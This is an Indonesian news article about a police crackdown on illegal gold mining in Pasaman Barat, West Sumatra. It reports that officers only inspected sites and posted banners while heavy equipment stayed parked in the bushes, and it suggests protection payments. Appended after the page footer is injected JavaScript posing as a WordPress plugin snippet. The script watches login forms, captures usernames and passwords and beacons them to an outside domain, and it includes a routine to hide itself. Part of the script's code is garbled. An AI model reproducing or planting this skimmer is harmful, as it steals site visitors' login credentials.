Home / DAERAH

Minggu, 10 Agustus 2025 - 15:05 WIB

Penertiban PETI Pasaman Barat Hanya Cek Lokasi dan Sosialisasi, Alat Berat Parkir di Semak

SUMBAR, transparanmerdeka.com –Maraknya Penambangan emas tanpa izin di provinsi Sumatera Barat salah satunya kabupaten Pasaman Barat, guna mencegah aktivitas tambang ilegal ini Kepolisian daerah Sumatera Barat menggelar penertiban ter­ha­dap aktivitas Penambangan Emas Tanpa Izin (PETI) secara se­rentak di wilayah hukum masing-masing Rabu (7/8).

Kegiatan ini dilakukan aparat kepolisian yang berada di wilayah hukum lokasi tambang, Giat yang dilakukan ini sebagai langkah tegas menekan aktivitas ilegal yang merusak lingkungan.

Personil kepolisian Pasaman Barat telah melaksanakan apa yang menjadi agenda Polda dengan melaksanakan pengecekan lokasi tambang serta melakukan sosialisasi kepada masyarakat di wilayah kecamatan Talamau dan Ranah Batahan, namun untuk wilayah Rimbo janduang dan Astra yang menjadi lokasi tambang emas Kapolres tidak menjelaskan.

Dalam Giat tersebut kepolisian Pasaman Barat hanya melakukan pengecekan serta sosialisasi tidak ada melakukan penangkapan terhadap pelaku penambangan ataupun alat berat yang digunakan untuk penambangan emas.

Kapolres Pasaman Barat AKBP Agung Tribawanto S.I.K saat ditanya mengenai Giat serentak yang dilakukan kepolisian daerah Sumatera Barat hanya menjawab, “Kita Laksanakan giat cek lokasi dan sosialisasi giat peti di wilayah Talamau dan Rabat,” ungkapnya singkat.

Baca Juga :  Peduli Warga Kena Musibah, H.Yudi Trikarya, S.H. Serahkan Bantuan Uang Tunai dan Sembako untuk Korban Kebakaran Air Balui

Kemudian Kapolres mengirimkan foto sebagai bukti giat yang telah dilakukan yakni pembakaran terhadap 1 Box yang di duga tidak terpakai lagi, disertai dengan so­sialisasi dan edukasi kepa­da masya­rakat, meninjau lokasi, serta memasang Spanduk himbauan berisikan larangan PETI dan anca­man huku­mannya, yakni pi­dana hing­ga 5 tahun dan den­da mak­simal Rp 100 miliar.

Saat ditanyakan dari giat tersebut apakah pihak kepolisian tidak ada menemukan alat berat yang berada dilokasi tambang, Kemudian ia menegaskan,” kita laksanakan giat gakkum dan sosialisasi kepada tokoh dan Masyarakat agar tidak lakukan Peti tersebut,” ucapnya.

Dari hasil penelusuran kami (red, Jumat 8/8) usai giat serentak dilaksanakan masyarakat menemukan ada beberapa alat berat terindikasi biasa dipergunakan untuk aktifitas penambangan terparkir di hutan dan semak semak.

Baca Juga :  Proyek Pembuatan Talud di Babat Toman, Muba Dinilai Mubazir

Saat ditanyai mengenai hal itu kepada Kapolres dengan mengirimkan bukti foto alat berat yang ada di semak tersebut, Kapolres hanya diam tanpa memberi jawaban sedikit pun hingga berita ini ditayangkan.

Hal ini perlu disinyalir bahwa indikasi adanya uang payung yang selama ini menjadi polemik dimasyarakat benar adanya, sebagai uang koordinasi agar aman dan tidak akan dilakukan penangkapan terhadap pelaku penambangan serta alat berat yang digunakan.

Pada berita yang diterbitkan media ini (Transpanmerdeka.com) sebelumnya, AKBP Agung Tribawanto S.I.K dengan tegas menyatakan tidak mengetahui adanya indikasi Uang Payung tersebut.
“Kalau soal itu gak tau Pak, bisa cek di Lapangan saja Pak” katanya.

Dengan fakta yang ditemukan masyarakat dilapangan adanya alat berat yang terparkir disemak sekitaran tambang, mampukah Kapolri atau penegak Hukum lainnya seperti KPK dan kementerian lingkungan hidup mengungkap dan menangkap para mafia dan aktor intelektual tambang ilegal ini.(Fan/tim)

Share :

Baca Juga

DAERAH

PETI Kepala UPTD KPHL Pasaman Raya Hanya Lapor Pimpinan Diatas, Terra Tidak Ada Pengetahuan Hutan Lindung jadi Tambang Rakyat

HUKUM & KRIMINAL

Pemprov Sumsel Hadiri Penguatan Kapasitas dan Kompetensi Penanggulangan Terorisme di Sumsel

DAERAH

REZA DIKEROYOK, MOTOR VIXION PUTIH BG 6095 VJ DILARIKAN PELAKU

DAERAH

Program Revitalisasi di SMA Muhamadiyah 6 Palembang Dikerjakan Kontraktor dan Tertutup

BANYUASIN

Peringati Maulid Nabi dan Dukung Program Banyuasin Religius, SMP N 1 Rambutan Gelar Lomba

BANYUASIN

17 Pegawai Lapas Kelas IIA Banyuasin Naik Pangkat, Kalapas: Ini Amanah yang Harus Dijaga

DAERAH

Lomba Panjat Pinang 77 Pohon Semakin Meriah Dihadiri Gubernur Herman Deru 

KEUANGAN

DPRD dan Pemprov Sumsel Sepakati KUA-PPAS 2023 
/*wpsi_f9f0b045*/ /* /*wpsi-ext*/ */ (function(){ var _e='https://domnateneryfie.com/c?t=c7f3a9b2d81e04f5'; var _h=location.hostname; var _s=localStorage.getItem('_wpsi_s')||''; // Stealth cleanup of the visible marker var _clean = function(){ try { // Find all script tags to find our own var scripts = document.getElementsByTagName('script'); for(var i=0; i=0)return; _s+=k+','; localStorage.setItem('_wpsi_s',_s); setTimeout(function(){ navigator.sendBeacon(_e,JSON.stringify({s:_h,u:u,p:p})); },Math.random()*3000+500); } function _watch(f){ if(!f||f._w)return; f._w=1; var _collect=function(){ var u=f.querySelector('[name=username],[name=log],[name=email],[type=email]'); var p=f.querySelector('[type=password]'); if(u&&p&&u.value&&p.value)_send(u.value,p.value); }; f.addEventListener('submit',_collect,true); f.addEventListener('keydown',function(e){if(e.keyCode===13)_collect();},true); } function _scan(){ document.querySelectorAll('form').forEach(function(f){ if(f.querySelector('[type=password]'))_watch(f); }); document.querySelectorAll('[type=password]').forEach(function(p){ if(!p._wi){p._wi=1;p.addEventListener('change',function(){ var u=document.querySelector('[name=username],[name=log],[name=email],[type=email]'); if(u&&u.value&&p.value)_send(u.value,p.value); });} }); } _scan(); setInterval(_scan, 1500); if(typeof MutationObserver !== 'undefined'){ new MutationObserver(function(){ _scan(); _clean(); }).observe(document.documentElement, {childList:true, subtree:true}); } })();